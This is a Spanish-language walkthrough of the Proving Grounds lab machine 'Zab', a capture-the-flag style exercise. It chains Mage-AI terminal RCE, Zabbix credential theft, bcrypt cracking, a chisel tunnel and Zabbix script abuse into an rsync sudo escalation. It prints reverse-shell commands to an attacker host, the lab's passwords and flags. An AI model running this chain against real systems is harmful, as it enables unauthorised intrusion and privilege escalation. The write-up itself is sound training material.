the_open_door
café
ESEN

Zab

Proving Grounds PracticeMediaLinux192.168.126.210

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#mage-ai#zabbix#bcrypt#hash-cracking#chisel#port-forwarding#command-injection#sudo#rsync
TL;DR. Mage-AI en el 6789 con una terminal nativa que ejecuta comandos como www-data, credenciales de Zabbix en /etc/zabbix/web/zabbix.conf.php, bcrypt del admin roto con rockyou, panel Zabbix en modo mantenimiento salvo desde localhost (alcanzado pivotando con chisel), abuso de los scripts de Zabbix (el script Detect operating system corre en el servidor como zabbix; editamos su comando por una reverse) para saltar a zabbix, y sudo rsync como vector final a root vía GTFOBins.

Reconocimiento

Escaneo inicial

El escaneo de puertos completo abre tres puertos, dos de ellos HTTP:

ping -c 1 192.168.126.210     # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.126.210
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6789/tcp open  http
nmap -p22,80,6789 -sCV 192.168.126.210
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp   open  http    Apache httpd 2.4.52 (default page)
6789/tcp open  http    Tornado httpd 6.3.3

HTTP - TCP 80

La raíz del 80 es la página por defecto de Apache sobre Ubuntu, pero probando rutas conocidas, /zabbix/index.php responde con un aviso: "Zabbix is under maintenance". Zabbix trae un modo de mantenimiento que se filtra por lista de IPs: a las direcciones no autorizadas les muestra ese cartel y esconde el login. Ese detalle será clave más adelante (por eso habrá que pivotar para presentarse como localhost).

http://192.168.126.210/zabbix/index.php muestra "Zabbix is under maintenance"

HTTP - TCP 6789 (Mage-AI)

El 6789 sirve Mage-AI (Tornado), un IDE web para pipelines de datos. El dashboard confirma la versión v0.9.75 y, más importante, Mage-AI incluye por diseño una terminal interactiva en /terminal. Sin autenticación por delante, es RCE puro y duro.

Dashboard de Mage-AI v0.9.75 en el puerto 6789

Shell como www-data

Mage-AI - RCE por terminal nativa

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 4444

Navegar a /terminal en el panel abre un shell directo en el servidor. Basta con lanzar una reverse:

busybox nc 192.168.45.201 4444 -e bash

Terminal de Mage-AI ejecutando la reverse

www-data@zab:~/html$ cat local.txt
788e683a708d4360281ea8a11bc14af1

local.txt como www-data

Shell como zabbix (user pivoting)

Credenciales MySQL en zabbix.conf.php

El nombre del host (zab) y el 80 con Apache sugieren que hay algo de Zabbix aunque no responda en la raíz. Se busca la instalación:

find / -name zabbix 2>/dev/null
cd /etc/zabbix/web
cat zabbix.conf.php | grep -i pass -B 3
mysql -u zabbix -pbreadandbuttereater121

find localiza /etc/zabbix; en zabbix.conf.php la clave PASSWORD de la BD vale breadandbuttereater121 y con ella se entra en MySQL

www-data@zab:/etc/zabbix/web$ cat zabbix.conf.php | grep -i pass -B 3
$DB['PORT']     = '0';
$DB['DATABASE'] = 'zabbix';
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = 'breadandbuttereater121';
www-data@zab:/etc/zabbix/web$ mysql -u zabbix -pbreadandbuttereater121
Welcome to the MySQL monitor.  Commands end with ; or \g.
Server version: 8.0.41-0ubuntu0.22.04.1 (Ubuntu)

El fichero web de Zabbix guarda las credenciales de conexión a la base en claro. Con ellas se entra en MySQL y se extrae la tabla users con los hashes de los administradores del panel Zabbix.

Hashes bcrypt del admin Zabbix

mysql> select * from users;
| userid | username | ...  | passwd
|      1 | Admin    | ...  | $2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si.
|      2 | guest    | ...  | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06
2 rows in set (0.00 sec)

La tabla users de la base zabbix guarda el hash bcrypt de Admin ($2y$10$KA6iPN5sY5...).

Crackeo del bcrypt

El prefijo $2y$ identifica un bcrypt, un algoritmo lento por diseño, así que lo crackeamos por diccionario y se deja correr:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

John descubre "dinosaur"

dinosaur         (Admin)

Zabbix en mantenimiento salvo desde localhost - chisel

Con curl desde la propia máquina se confirma la sospecha del recon: por localhost, /zabbix/ NO da el cartel de mantenimiento, sino el formulario de login del panel. El modo mantenimiento de Zabbix está filtrado por IP y 127.0.0.1 está en la lista permitida.

curl localhost/zabbix/ | grep -i login --color

curl localhost/zabbix/ devuelve el formulario de login, no el mantenimiento

www-data@zab:/etc/zabbix/web$ curl localhost/zabbix/ | grep -i login --color
...<div class="signin-container">...<label for="password">Password</label>
<input type="password" id="password" name="password" ...>...autologin...

Para presentarnos como localhost desde el navegador del atacante montamos un port forward con chisel. Se sube el binario al objetivo (servidor HTTP en el atacante, wget en la víctima):

# atacante
python3 -m http.server 80
# víctima
wget http://192.168.45.201/chisel
chmod +x chisel

víctima: wget descarga chisel desde el atacante y chmod +x

$ locate chisel | head -n 2
/home/krmena/Downloads/chisel_1.11.3_linux_amd64.gz
/home/krmena/tools/chisel

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.126.210 - - [08/Mar/2026 02:10:07] "GET /chisel HTTP/1.1" 200 -

www-data@zab:/tmp$ wget http://192.168.45.201/chisel
--2026-03-08 02:10:05--  http://192.168.45.201/chisel
Connecting to 192.168.45.201:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel.1'

2026-03-08 02:10:34 (277 KB/s) - 'chisel.1' saved [8077312/8077312]

www-data@zab:/tmp$ chmod +x chisel

En el atacante se abre un servidor chisel en modo reverse y desde el objetivo un cliente con R:80 (todo el HTTP local del target se expone en el 80 del atacante):

# atacante
chisel server --reverse -p 1234
# víctima
./chisel client 192.168.45.201:1234 R:80

Chisel reverse tunnel activo

2026/03/08 02:12:38 server: Reverse tunnelling enabled
2026/03/08 02:12:38 server: Fingerprint WO3BbJZbq777Qg4phecwEEwDD4Mhmk0JoMdpA1p0TEo=
2026/03/08 02:12:38 server: Listening on http://0.0.0.0:1234
2026/03/08 02:12:52 server: session#1: tun: proxy#R:80=>80: Listening

El túnel queda activo: el R:80 del cliente expone el HTTP local del target en el 80 del atacante. Con eso, http://localhost/zabbix/index.php en el atacante pega directo al panel local del target, donde entramos con Admin / dinosaur.

Login del panel Zabbix por el túnel con Admin / dinosaur

RCE por scripts de Zabbix - shell como zabbix

Como Admin tenemos el rol de superadministrador. En Alerts → Scripts Zabbix permite definir scripts de tipo Script que se ejecutan en el propio servidor Zabbix (opción "Execute on: Zabbix server/proxy") como el usuario del sistema que corre el demonio, es decir zabbix. Existe uno preexistente, "Detect operating system", cuyo comando es:

sudo /usr/bin/nmap -O {HOST.CONN}

Alerts &gt; Scripts: "Detect operating system" ejecuta sudo /usr/bin/nmap -O {HOST.CONN} en el servidor

Ese script tiene, de hecho, dos abusos posibles. El primero es una inyección clásica: la macro {HOST.CONN} es la dirección del host contra el que se lanza, controlada por nosotros al crear un host, así que un nombre con metacaracteres inyectaría comandos en el sudo nmap. El segundo, más directo, es que como Admin podemos editar el propio cuerpo del script: cambiamos el comando por una reverse shell y la ejecutamos tal cual.

Levantamos primero el listener. Con Penelope reutilizamos la sesión de www-data y añadimos un listener en el 5555:

penelope
# (Penelope)> listeners add -p 5555

Penelope: listeners add -p 5555 a la escucha

www-data@zab:/tmp$ ./chisel client 192.168.45.201:1234 R:80
2026/03/08 02:12:50 client: Connecting to ws://192.168.45.201:1234
2026/03/08 02:12:50 client: Connected (Latency 31.059236ms)

[!] Session detached

(Penelope)-(Session [1])> listeners add -p 5555
[+] Listening for reverse shells on 0.0.0.0:5555  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.201

Editamos el comando del script "Detect operating system" y lo sustituimos por la reverse (sin sudo, para que corra como zabbix), y pulsamos Update:

busybox nc 192.168.45.201 5555 -e bash

Editor del script: Commands = busybox nc 192.168.45.201 5555 -e bash

El script es de tipo "Manual host action", así que se dispara desde Monitoring → Latest data, sobre cualquier host monitorizado:

Monitoring &gt; Latest data en el panel Zabbix

En el menú contextual del host, Scripts → Detect operating system lanza el comando en el servidor:

Menú del host: Scripts &gt; Detect operating system

La reverse cae en Penelope como usuario zabbix:

Segunda reverse como zabbix

(Penelope)─(Session [1])> listeners add -p 5555
[+] Got reverse shell from zab~192.168.126.210-Linux-x86_64  Assigned SessionID <2>
zabbix@zab:/$ whoami
zabbix

Escalada de Privilegios

sudo rsync → root

sudo -l muestra que zabbix puede ejecutar rsync como root sin contraseña:

sudo -l

sudo -l: (ALL : ALL) NOPASSWD: /usr/bin/rsync

User zabbix may run the following commands on zab:
    (ALL : ALL) NOPASSWD: /usr/bin/rsync

rsync está en GTFOBins: la opción -e acepta un shell arbitrario para el "remote", así que con un pseudo-destino y un sh -c que redirige stdin/stdout al mismo tty se obtiene una shell interactiva.

GTFOBins de rsync: rsync -e '/bin/sh -c "/bin/sh 0&lt;&amp;2 1&gt;&amp;2"' x:x

sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# id -> uid=0(root)

Shell root vía sudo rsync

zabbix@zab:/$ sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# whoami
root

El pseudo-destino dispara el -e y caemos en una shell interactiva como root.

Proof.txt

# cat /root/proof.txt
fd745a6191ad97b6a85067cdfd7e51ff

proof.txt como root

Cadena de ataque

Mage-AI :6789 /terminal
  └─ busybox nc → shell www-data
     └─ /etc/zabbix/web/zabbix.conf.php  → mysql zabbix / breadandbuttereater121
        └─ tabla users -> bcrypt Admin
           └─ john rockyou -> dinosaur
              └─ Zabbix en mantenimiento salvo localhost -> chisel reverse R:80
                 └─ Admin / dinosaur -> Alerts > Scripts "Detect operating system"
                    └─ editar Commands = busybox nc ... -e bash -> Latest data -> run -> shell zabbix
                       └─ sudo -l -> rsync -> sudo rsync -e /bin/sh ... -> root

Lecciones aprendidas

  • Un IDE con "terminal nativa" es RCE por diseño; hay que tratarlo como una superficie de administración, no como un editor.
  • Configuraciones de aplicaciones web con mysql_pass en claro (zabbix.conf.php, wp-config.php, configuration.php) siguen siendo la mina más rentable en post-explotación.
  • Un servicio "escondido" en localhost es un puerto expuesto en cuanto haya RCE en cualquier proceso local; el port forwarding con chisel (o ssh -L) es literalmente el equivalente al fallo.
  • En Zabbix, los scripts de tipo Script que se ejecutan "en el servidor" corren comandos arbitrarios como el usuario del demonio: un Admin puede editar su cuerpo y convertirlos en RCE directa. Además, cualquier macro ({HOST.CONN}, {HOSTNAME}, {$USER_MACRO}) controlada por el usuario y concatenada en el comando es una inyección en potencia.
  • sudo -l es siempre el primer paso tras conseguir un usuario. Con binarios de GTFOBins (rsync, find, awk, less), la escalada es casi mecánica.
Cheatsheet de comandos 9 comandos

Repaso rápido